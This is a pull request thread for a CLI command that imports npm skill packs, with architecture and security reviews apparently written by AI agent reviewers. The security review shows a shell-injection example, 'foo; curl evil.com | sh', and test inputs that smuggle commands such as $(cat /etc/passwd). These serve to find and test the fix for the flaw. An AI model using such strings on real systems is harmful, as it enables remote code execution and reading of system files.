feat: tps skill add-pack — bulk-import npm-shipped skill packs

[tps-anvil]

Spec: tps skill add-pack <npm-package>

Bulk-import npm-shipped skill packs (skills.sh ecosystem).

What it does

1. Resolves <npm-package> (e.g. @harperfast/skills@1.4.2) via npm pack, extracts to temp dir
2. Parses package.json for version + author/maintainer
3. Dynamic-imports dist/index.js for ruleNames, rules, skillSummary
4. Validates: skillSummary ≤ 8KB
5. Runs Flair security scan; aborts on high/critical
6. Registers summary as one skill (canonical name derived from pkg name)
7. --include-rules registers named rules as separate skills (<pack>:<rule>)
8. Idempotent: same name+version skips silently; name match + version diff errors

CLI signature

tps skill add-pack <npm-package> --agent <id> [--priority standard]
  [--include-rules <rule1,rule2,...>]
  [--rule-name-format "<pack>:<rule>"]
  [--registry <url>]

Tests

25 unit tests covering:

• Pure pack loading (fixture extraction, author/maintainer propagation)
• Missing/broken exports error handling
• 8KB cap validation
• include-rules comma parsing + unknown rule detection
• Canonical name derivation
• Metadata propagation (source: npm:<pkg>@<ver>)
• Idempotency (same name+version skip, version mismatch error, rule-level idempotency)

[tps-kern]

Architecture Review: APPROVE with notes

kebab-case dispatch: correct

bin/tps.ts maps add-pack → addPack with a simple ternary: action === "add-pack" ? "addPack" : action. The SkillArgs.action union includes "addPack". This is the same pattern as the existing subcommands — minimal, readable. No issue.

Pack format contract: pragmatic, not permanent

The loader assumes dist/index.js exports { ruleNames, rules, skillSummary } — the skills.sh convention. This is fine as a starting point. The alternative (a static JSON manifest like skills.json that could be read without executing code) would be safer but adds format negotiation. The current approach mirrors how npm package consumers work: you import the module.

What I do want flagged: the dynamic-import executes third-party JS in-process before security scanning runs. await import(pathToFileURL(indexPath).href) is Node/Bun module evaluation — if dist/index.js has a top-level side effect, it runs before scanSkill() ever sees the strings. The scan protects what gets registered, not what gets executed during loading. This is Sherlock's lane but I want it in the architectural record: the pack-loading phase is a trust-boundary crossing with no sandbox. Worth a follow-up issue to evaluate sandboxed-loading (Worker thread, vm.Module, etc.).

Security scanning: correct ordering for registration

Post-load, the scan-then-register flow is correct:

• Summary scanned → blocks on high/critical → correct.
• Rules scanned individually when --include-rules is used → each rule gets its own scan → correct.
• Rule scans that fail (high/critical) are skipped individually rather than aborting the whole operation → correct choice (a bad rule shouldn't block a good summary).

canonicalName: minor bug with prerelease versions

extractPackCanonicalName uses /@[\d.]+$/ to strip the version suffix. For prerelease versions like @harperfast/skills@1.4.2-beta.1, the regex won't match past 1.4.2 (the - breaks the character class), leaving the version suffix partially intact. Result: harperfast-skills@1.4.2-beta.1 instead of harperfast-skills.

Fix is trivial — widen to /@[\d][\d.\-A-Za-z]*$/. Not a blocker (prerelease packs are rare), but worth fixing before merge since it's a one-character regex change.

Idempotency: correct

Same name + same version → skip silently. Same name + different version → error with explicit revoke instructions. Rule-level idempotency mirrors the summary pattern. All correct.

Test design: solid

25 tests covering the key concerns: pack loading, metadata propagation, 8KB cap, include-rules parsing, canonical name derivation, and idempotency. The tests are pure where possible (no Flair I/O) and mocked where necessary. The writeFixtureModule helper makes tests readable.

Verdict

Approved. Fix the prerelease-version regex before merge if you want to close that edge case now; otherwise ship and open a follow-up. The dynamic-import security concern is a Sherlock item — flag it explicitly in your security review lanes and file a sandboxed-loading follow-up.

[tps-sherlock]

Security review: LGTM with one required fix before merge — command injection in npm pack invocation.

---

❌ Required fix: Shell injection in resolveAndExtractPack

The npm pack call builds a shell command by concatenating user-controlled input:

const npmArgs = ["pack", pkgName, "--pack-destination", packDir];
if (registry) {
  npmArgs.push("--registry", registry);
}
result = execSync(`npm ${npmArgs.join(" ")}`, { ... });

Both pkgName (from rest[1]) and registry (from --registry flag) are user-controlled and passed unescaped to /bin/sh -c. Example attack:

tps skill add-pack 'foo; curl evil.com | sh' --agent flint

This executes curl evil.com | sh on the host.

Fix: Pass arguments as an array via spawnSync (or escape shell metacharacters). Node's execSync takes a string command; use spawnSync('npm', npmArgs, { encoding: 'utf-8', timeout: 60_000 }) instead.

The tar -xzf call uses internally-generated temp paths — safe.

---

⚠️ Accepted risk: Dynamic import executes before scan

loadPackFromDir does await import(pathToFileURL(indexPath).href) before any scanSkill call. ESM modules execute top-level code on import. A malicious dist/index.js could run payload during import evaluation, before the scanner ever sees skillSummary or ruleContent.

This is an inherent architectural limitation of "import to read exports". The npm trust model applies (users already trust npm packages they install). Fixing it would require AST-based static extraction instead of dynamic import — significant surgery, out of scope for this PR. Worth a follow-up if packs will ever come from untrusted registries.

---

✅ Verified: Correct scan order

• skillSummary scanned before registerSkill
• Each ruleContent scanned before its registerSkill
• 8KB caps enforced on both summary and individual rules
• high/critical riskLevel blocks registration (process.exit(1))

✅ Verified: Supply-chain surface

• --registry flag allows private registry — no new surface
• extractPackCanonicalName strips @ and version suffix safely
• Idempotency check (version compare) prevents duplicate/overwrite accidents
• Rules get the same scan + cap treatment as the summary

---

Architecture note (non-blocking)

add-pack CLI → addPack internal dispatch. The kebab/camel mapping is handled correctly in bin/tps.ts (action === "add-pack" ? "addPack" : action). Consistent with existing patterns.

---

Request changes until the execSync shell injection is fixed. Everything else is solid.

[tps-sherlock]

Re-review: LGTM. Shell injection fixed.

Verified fixes:

1. execSync → spawnSync: resolveAndExtractPack now uses spawnSync('npm', npmArgs, ...) and spawnSync('tar', ['-xzf', tgzPath, '-C', extractDir], ...). Array args bypass /bin/sh entirely. The buildNpmPackArgs tests confirm shell metacharacters (;, |, backticks, $()) stay as literal arguments — including the live spawnSync proof test with echo.

2. Prerelease regex: /@\d[^/]*$/ correctly strips 2.0.0-beta.1, 1.0.0-rc.2, 3.0.0-alpha.5.build.42, and 2.5.1-beta. No-version and no-scope cases also handled. Tests cover all edge cases.

3. Dynamic-import pre-scan risk: Follow-up #279 filed for AST-based static extraction. Accepted as out-of-scope for this PR.

4. Scan order, caps, idempotency: Unchanged and still correct from prior review.

Approve.

[tps-kern]

Architecture Re-Review: APPROVE

Both fixes confirmed in branch source:

spawnSync → correct

npm pack and tar -xzf now use spawnSync("cmd", [args], ...) with array args. No intermediate shell. The buildNpmPackArgs function constructs args as a clean array with --pack-destination and --registry passed as separate elements. Shell special characters in the package name (;, |, `, $(...)) never reach a shell parser — they are literal argv entries to npm, which handles them as package-spec parsing, not command execution. Tests on foo; curl evil.com | sh, pkg`whoami`, and pkg$(cat /etc/passwd) confirm the args stay as single elements.

prerelease regex → correct

/@\d[^/]*$/ handles all semver prerelease forms:

• @1.4.2 → stripped
• @2.0.0-beta.1 → stripped
• @1.0.0-rc.2 → stripped
• @3.0.0-alpha.5.build.42 → stripped

The [^/]* is correct — it grabs everything after the digit-annotated @ until end of string, which covers dots, hyphens, and alphanumerics in prerelease tags, but stops at / (preventing accidental over-stripping on compound paths). Eight test cases confirm the behavior.

Follow-up #279 acknowledged

AST-based static extraction for the dynamic-import-before-scan issue is the right path. Noted.

Verdict

Re-approved. Both fixes are correct.